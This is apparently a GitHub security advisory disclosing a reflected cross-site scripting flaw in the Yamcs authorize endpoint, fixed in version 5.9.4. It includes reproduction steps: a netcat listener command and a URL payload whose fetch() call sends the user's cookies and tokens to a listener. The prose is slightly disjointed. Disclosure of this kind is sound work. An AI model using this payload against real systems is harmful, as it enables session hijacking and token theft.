GHSA-rxpg-wjf8-qv9c Yamcs has Reflected XSS in the URL of the Authorize Endpoint

• Maven org.yamcs:yamcs-core: < 5.9.4 → fixed in 5.9.4

Attack type:  Unauthenticated remote  Impact: Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token. Affected components: authorize.html, AuthHandler.java, HandlerContext.java A Reflected Cross-Site Scripting vulnerability exists in Yamcs You then use JavaScript to obtain the user's cookies and display them in the alert: Finally, use the `fetch` function to send the user's cookies to a remote server which we controlled: Now you can set these cookies in our own browser and login to Yamcs as the user. Steps to Reproduce 1. Start Yamcs 2. Login as a user 3. In a terminal, start a netcat listener: ``` nc -nlvp 8888 ``` 4. Paste the following URL payload in the browser ``` http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y">fetch(`http://localhost:8888?c=${document.cookie}`)ekuou ``` 5. You will receive a connection on your netcat listener containing the user's access token and refresh token. Acknowledgements This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.